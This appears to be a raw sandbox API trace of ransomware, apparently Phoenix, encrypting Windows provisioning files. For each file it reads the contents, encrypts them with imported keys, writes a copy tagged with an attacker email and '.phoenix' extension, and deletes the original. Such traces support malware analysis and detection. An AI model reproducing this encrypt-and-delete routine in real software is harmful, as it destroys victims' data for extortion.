	[0242.565] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310, dwBufLen=0x310 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310) returned 1
	[0242.565] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x310, lpOverlapped=0x0) returned 1
	[0242.566] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151740) returned 1
	[0242.566] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.566] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0242.566] CryptDestroyKey (hKey=0x151740) returned 1
	[0242.566] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0242.566] CryptDestroyKey (hKey=0x151640) returned 1
	[0242.566] CloseHandle (hObject=0x2e8) returned 1
	[0242.567] CloseHandle (hObject=0x2d4) returned 1
	[0242.567] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\229__connections_cellular_zain (jordan)_i1$(__mvid)@wap.provxml")) returned 1
	[0242.567] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0242.568] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\22__connections_cellular_telstra (australia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0242.568] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=886) returned 1
	[0242.568] CloseHandle (hObject=0x2d4) returned 1
	[0242.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\22__connections_cellular_telstra (australia)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0242.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\22__connections_cellular_telstra (australia)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.568] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\22__connections_cellular_telstra (australia)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0242.568] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.568] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.568] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\22__connections_cellular_telstra (australia)_i2$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0242.569] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0242.569] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.569] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x376, lpOverlapped=0x0) returned 1
	[0242.680] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x380, dwBufLen=0x380 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x380) returned 1
	[0242.680] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x380, lpOverlapped=0x0) returned 1
	[0242.681] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0242.681] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.681] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0242.681] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0242.681] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0242.681] CryptDestroyKey (hKey=0x151500) returned 1
	[0242.682] CloseHandle (hObject=0x2d4) returned 1
	[0242.682] CloseHandle (hObject=0x2e8) returned 1
	[0242.682] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\22__Connections_Cellular_Telstra (Australia)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\22__connections_cellular_telstra (australia)_i2$(__mvid)@wap.provxml")) returned 1
	[0242.683] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0242.683] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\233__connections_cellular_zain (kuwait)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0242.684] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=700) returned 1
	[0242.684] CloseHandle (hObject=0x2d4) returned 1
	[0242.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\233__connections_cellular_zain (kuwait)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0242.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\233__connections_cellular_zain (kuwait)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.685] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\233__connections_cellular_zain (kuwait)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0242.685] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.685] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.685] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\233__connections_cellular_zain (kuwait)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0242.686] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0242.686] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.687] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2bc, lpOverlapped=0x0) returned 1
	[0242.709] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0) returned 1
	[0242.709] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2c0, lpOverlapped=0x0) returned 1
	[0242.710] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0242.710] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.710] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0, dwBufLen=0xa0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xa0) returned 1
	[0242.710] CryptDestroyKey (hKey=0x151380) returned 1
	[0242.710] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x152, lpOverlapped=0x0) returned 1
	[0242.711] CryptDestroyKey (hKey=0x151280) returned 1
	[0242.711] CloseHandle (hObject=0x2d4) returned 1
	[0242.711] CloseHandle (hObject=0x2c8) returned 1
	[0242.711] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\233__Connections_Cellular_Zain (Kuwait)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\233__connections_cellular_zain (kuwait)_i0$(__mvid)@wap.provxml")) returned 1
	[0242.712] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0242.712] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\236__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0242.712] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=784) returned 1
	[0242.712] CloseHandle (hObject=0x2c8) returned 1
	[0242.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\236__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0242.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\236__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0242.712] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\236__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0242.712] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.713] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0242.713] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\236__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0242.713] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0242.713] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0242.713] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x310, lpOverlapped=0x0) returned 1
	[0243.425] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x320, dwBufLen=0x320 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x320) returned 1
	[0243.425] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x320, lpOverlapped=0x0) returned 1
	[0243.426] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151240) returned 1
	[0243.426] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.426] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0243.426] CryptDestroyKey (hKey=0x151240) returned 1
	[0243.426] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0243.426] CryptDestroyKey (hKey=0x151100) returned 1
	[0243.426] CloseHandle (hObject=0x2c8) returned 1
	[0243.426] CloseHandle (hObject=0x2d4) returned 1
	[0243.426] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\236__Connections_Cellular_Tele2 (Latvia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\236__connections_cellular_tele2 (latvia)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.427] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0243.427] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\239__connections_cellular_mtc touch (lebanon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.434] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=782) returned 1
	[0243.434] CloseHandle (hObject=0x2d8) returned 1
	[0243.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\239__connections_cellular_mtc touch (lebanon)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0243.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\239__connections_cellular_mtc touch (lebanon)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0243.434] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\239__connections_cellular_mtc touch (lebanon)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0243.434] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.434] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0243.434] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\239__connections_cellular_mtc touch (lebanon)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0243.437] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151500) returned 1
	[0243.437] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.437] ReadFile (in: hFile=0x2d8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x30e, lpOverlapped=0x0) returned 1
	[0243.602] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310, dwBufLen=0x310 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x310) returned 1
	[0243.602] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x310, lpOverlapped=0x0) returned 1
	[0243.603] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0243.603] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0243.603] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0243.603] CryptDestroyKey (hKey=0x151440) returned 1
	[0243.603] WriteFile (in: hFile=0x2d4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0243.603] CryptDestroyKey (hKey=0x151500) returned 1
	[0243.603] CloseHandle (hObject=0x2d8) returned 1
	[0243.603] CloseHandle (hObject=0x2d4) returned 1
	[0243.603] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\239__Connections_Cellular_MTC Touch (Lebanon)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\239__connections_cellular_mtc touch (lebanon)_i0$(__mvid)@wap.provxml")) returned 1
	[0243.604] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
